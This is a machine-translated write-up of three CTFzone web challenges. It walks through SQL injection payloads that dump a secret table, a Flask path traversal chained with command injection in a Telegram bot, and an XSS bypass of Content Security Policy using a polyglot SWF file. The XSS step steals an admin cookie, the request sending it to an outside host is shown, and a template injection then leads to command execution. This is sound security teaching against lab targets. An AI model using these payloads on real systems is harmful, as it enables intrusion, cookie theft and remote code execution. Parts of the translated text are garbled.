📜 ⬆️ ⬇️

CTFzone write-ups - Deeper into the WEB

image


Friends, we hope that everyone's weekend went well, and you are ready to break your head again a little over the CTFzone tasks. We continue to publish raitap to the task, and today we will analyze the WEB thread. Just in case, stock quotes and go;)


The direction of WEB was the second most popular after Forensics, with a total of at least one task decided by 303 people. By the way, out of them, the task for 1000 was decided by only five participants, so we will pay special attention to it. Tasks for 50 and 100 have already been published, so we will immediately move on to tasks more difficult.



WEB_300. Need to go deeper


Captain Picard : Lieutenant, over! We have found one of the main alien hackers. He is one of his websites. I know you still haven’t been repairing your ship. It will help you to catch it.


Decision:


So, in this task we need to get information that will help to catch the leader of the group of hackers. We know that this information is contained on the site, and to get the data, it must be hacked.


The site is a news blog with the ability to search:


image


Run brute force directories (for example, using dirb )


image


As you can see, there is a .git directory. Let's try to download the sources (for example, using rip-git )


image


As a result, we will get about the following files:


image


Consider the most interesting part of index.php :


index.php
  ... if (isset($_GET['filter'])) $filter = $_GET['filter']; else $filter = '%'; // all news if (preg_match("/'/", $filter)) error('Hacking attempt!'); // hate hackers if ($filter !== '%') { if (isset($_GET['type'])) { switch ($_GET['type']) { case 1: // looking for contains $filter = '%' . $filter . '%'; break; case 2: // looking for eactly matches break; default: error('Type of search is incorrect!'); } } else error('Type of search is empty!'); } $query = "CALL FIND_NEWS('" . $filter . "')"; $result = $mysqli->query($query); ... 

Here is the logic of searching for news. Depending on the type parameter, % either added to the filter parameter or not. Then the contents of the filter passed inside the SQL procedure FIND_NEWS . We do not know the content of the procedure, but from the title it is clear that it contains the logic of searching by filter.


Immediately you can pay attention to the fact that the filter parameter is checked for the presence of single quotes before getting into the query. No more screening. SQL error can be caused using \ at the end of the query (with type equal to 2), but you can’t do it in any way.


image


We must dig in the direction of the procedure FIND_NEWS . Since the % signs appear in the filter, it can be assumed that the search inside the procedure is performed using the LIKE operator. A careful study of the search operation makes it clear that filter simultaneously searches for both the title of the news and its text. So the query inside the procedure looks like this:


 SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_tet LIKE '$filter$'; 

So, the logic is clear, but the implementation inside the procedure is unknown to us. Perhaps the procedure first builds the query as a string, and then executes it. In this case, SQL Injection is possible inside, but if this is true, how can you break the logic of the query and do something else without a single quote? It is worth paying attention to the fact that inside the procedure, the filter parameter is probably used in two places. And here we are come to the rescue by a return slash.


If the parameter will be:


 +or+1=1+--+\ 

That request will turn out like this:


 SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- \' OR news_tet LIKE ' or 1=1 -- \'; 

This is quite a working request, which should bring us all the available news. However, the problem remains - the backslash breaks the initial request and does not even get into the procedure. The solution is obvious - it needs to be screened. In this case, it will be safe for the first request (procedure call), but inside the procedure it will turn into a dangerous single backslash. It turns out about the following:


 +or+1=1+--+\\ 

We try:


image


As you can see, the request worked successfully, and the news was loaded. Our vector for SQL Injection works. Now it just remains to spin the injection and find the flag.


Find out the number of columns:


 +union+select+1,2,3+--+\\ 

Now we learn the names of the tables:


 +union+select+1,table_name,3+from+information_schema.tables+--+\\ 

From interesting:


image


Now we know that there is a secret table. We recognize her columns:


 +union+select+1,column_name,3+from+information_schema.columns+where+table_name="secret"+--+\\ 

image


The last step - pull out the flag.


 +union+select+1,flag,3+from+secret+--+\\ 

image


Hooray! Flag received!


Answer: ctfzone {VeRY_d33p}


WEB_500. Such hack


Captain Picard: Lieutenant, we have detected an alien's news website. Perhaps, there will be some data on their plans. Get it!

Decision:


In this task, we need to access the server where the key is located.


The main page is as follows:


image


Sitemap is very simple:


image


From the server headers it is clear that Flask is being used. The vulnerability was the incorrect use of the send_file() function and routing. As a result, Path Traversal in the name of static files.


Here is a cut from the source code for a better understanding of the vulnerability (Note that during the competition, players did not have access to the source codes):


 ... @app.route("/static/<path:filetype>/<path:filename>") def style_file(filetype, filename): if filetype in app.static_types: try: if filetype == 'css': return send_file('./static/css/' + filename, mimetype='tet/css') elif filetype == 'js': return send_file('./static/js/' + filename, mimetype='tet/javascript') else: return send_file('./static/img/' + filename, mimetype='image/jpeg') ecept Eception as e: print e return render_template('404.html'), 404 else: return render_template('404.html'), 404 ... 

As a result, we get an arbitrary reading of files:


image


If you look closely at /etc/passwd , you can pay attention to the last lines:


 ... web::1000:1000::/home/web:/bin/bash telegram_bot::1001:1001::/home/telegram_bot:/bin/bash 

In addition to the web server, the telegram-bot is spinning here, and it is located in the /home/telegram_bot folder. We try to read the most obvious file in the home directory: .bash_history


image


Consequently, the bot source is located along the path /home/telegram_bot/bot.py .


Similarly, we read the bot.py file:


Source bot
 # -*- coding: utf-8 -*- #!/usr/bin/python2 import telebot import subprocess # SysAdminHelper_bot token = raw_input() bot = telebot.TeleBot(token) @bot.message_handler(commands=['uname', 'ps', 'uptime']) def repeat_all_messages(message): waf_rules = [';', '&', '|'] for rule in waf_rules: if rule in message.tet: output = 'stop hacking!' bot.send_message(message.chat.id, output) return args = message.tet.split(' ') output = '' if ( args[0] == '/uptime' ): try: output = subprocess.check_output(["uptime"], shell=True) except: output = 'eception' elif ( args[0] == '/uname' ): try: output = subprocess.check_output(["uname -a"], shell=True) except: output = 'exception' elif ( args[0] == '/ps' ): try: output = subprocess.check_output(["ps au | grep %s" % args[1]], shell=True) except: output = 'eception' else: output = 'eception' bot.send_message(message.chat.id, output) if __name__ == '__main__': bot.polling(none_stop=True) 

As you can see, the main purpose of the bot is to execute primitive remote commands on the server. If you look closely, you can see the following line:


 output = subprocess.check_output(["ps au | grep %s" % args[1]], shell=True) 

It is interesting because the argument is passed to the ps aux command, and it is not checked in any way. This is a clear RCE.


 # SysAdminHelper_bot 

This line gives us the name of the bot. Easily find it in the telegraph.


image


We try to execute the legitimate command:


image


Although we have an explicit RCE, several restrictions are imposed on it:



In this case, there are several different solutions, consider one of them.


Since the bectics are allowed, you can execute code through them. The complete command will look like this:


 ps au | grep `uname -a` 

To solve the problem with spaces, you can use the following construction:


 ps au | grep `{uname,-a}` 

Locally, the result of the team's work is as follows:


image


Our vector works, but the problem is that the output first goes to grep , is processed there and eventually ends up in STDERR (error output stream) instead of STDOUT (normal output stream). If such a vector is transmitted to the bot, then the presence of data in STDERR generate an exception, due to which we will not see any output. In simple words, our RCE works, but we see no result.


But now is the time to recall that at the previous stage we found Path Traversal . As a result, we get a bunch of Blind RCE and Path Traversal . So, we can write the output of RCE to a file, and Path Traversal will easily read it. The final vector is as follows:


 ``{ls,/home/}>/tmp/output`` 

Bacti on 2 on each side because the client telegram highlights the text inside the single baktik as code and deletes them.


We send the vector to the bot and get in response the expected expected eception :


image


Through Path Traversal we read the /tmp/output file:


image


Thus, we learned that there are 3 folders in the /home/ folder: flag , telegram_bot and web


Completely similarly read the contents of the flag folder:


image


We read the flag:


image


Answer: ctfzone {W0W_SUCH_H @ CK_W0W}


WEB_1000. Banner flipping


Captain Picard: Advanced technology industries. Their control system. I need to unlock it. It has been given that it has been available on the ship. The team had to work with them. It is a system of artificial intelligence. You have to hack their system.


Decision:


We go to the site. We immediately see the search form, in which the query from the search line is displayed. The first thought is XSS .


image


We start to try XSS vectors. We bypass the simplest filtering, for example, using uppercase.
We see an injection in the code page:


 <div class="row"> <div class="col s6 offset-s3"> <div class="card orange lighten-3"> <div class="card-content white-tet"> <p>Nothing found for 'asd<Img src= onerror=alert(1)>'</p> </div> </div> </div> </div> 

It looks like XSS is in our pocket. But for some reason, the alert does not work, look at the browser console:


image


Content Security Policy. Server sends headers:


 HTTP/1.1 200 OK Connection: close Content-Type: tet.html; charset=utf-8 Content-Length: 1930 X-XSS-Protection: 0 Content-Security-Policy: style-src 'unsafe-inline' 'self';script-src 'self';object-src 'none'; 

Well, you can not bypass the browser's auditor, but the execution of the script is allowed only from files located on the server.
We are looking for new buttons on the site. There is a feedback form in which you will most likely have to drop the link to the admin. And the form of loading ads. We try to load the .js file.


image


Only images and swf allowed. Judging by the fact that we found the XSS before, it is necessary to fill js . In this case, all files are checked for resolution and a few more parameters. After some thought, we decide to try swf from the repository https://github.com/evilcos/ss.swf .


We get the error:


image


It seems, it is necessary to be confused with swf . According to legend, adblock is still off. It may be possible to slip a swf file with a valid javascript syntax. First, change the header from CWS to FWS . Now the server considers that the swf file is not compressed.


image


The next problem is framerate . What we gobble spec, we find that at the offset 0x12 it just lies.
Now our swf uploaded to the server. It remains to make a valid javascript and to get started with cookies. We form payload :


image


And now do ss !
We form payload:


 web1000.ctf/?search="<SCRIPT/SRC="/uploads/ss7.swf"></SCRIPT><p> 

We get cookies.


 GET /?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 HTTP/1.1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Referer: http://10.1.2.20:8081/?search=%22%3CSCRIPT/SRC=%22/uploads/xss7.swf%22%3E%3C/SCRIPT%3E%3Cp%3E Origin: http://10.1.2.20:8081 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: ru-RU,en,* Host: 8.8.8.8:1234 

We go, but it seems that this is not enough.


image


We look session: obviously base64 . Decodim:


 eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 {"secret": "9b4602d9a524902756a70b8949adcb1f", "user": "admin"} 

Why is the username here? Change the session. The username on the page is changing. After much deliberation and attempts, try {{ 2+2 }} . We get 4.


It looks like an injection into a pattern. Operating methods are well described here .


We try everything. It turns out that from magic_methods c underscore , the python becomes bad. But there is a great way to operate through from_pyfile . We have learned to upload files similar to the code in the first part of the task. We need this payload :


 from subprocess import check_output RUNCMD = check_output 

Upload this file to the server as swf :


image


We load it using the session:


 { "secret": "9b4602d9a524902756a70b8949adcb1f", "user": "{{ config.from_pyfile('uploads/12.swf') }}" } 

Now we can execute any commands on the server.
Checking config.items()


image


It now remains to find the flag:


 { "secret": "9b4602d9a524902756a70b8949adcb1f", "user": "{{ config['RUNCMD']('ls', shell=True)}}" } 

We get the answer:


 admin_blueprint.py admin_blueprint.pyc application.py application.pyc flag.tt ghostdriver.log requirements.tt static task.py templates uploads worker.py worker.pyc 

Everything. cat flag.tt left to do


image


Done!


Answer: ctfzone {3245c702f66816ca086a730c6baa5e16}


Now you know almost everything. Stay with us, and very soon we will reveal to you the latest secret about investigations in open sources. In the meantime, you can discuss a new Ritep and ask a couple of questions in our chat in the telegraph and in the comments to the post.


We remind you that you still have time to try your hand at the tasks on the hiring here , they will be available until 15.12. Good luck!


')

Source: https://habr.com/ru/post/317422/


All Articles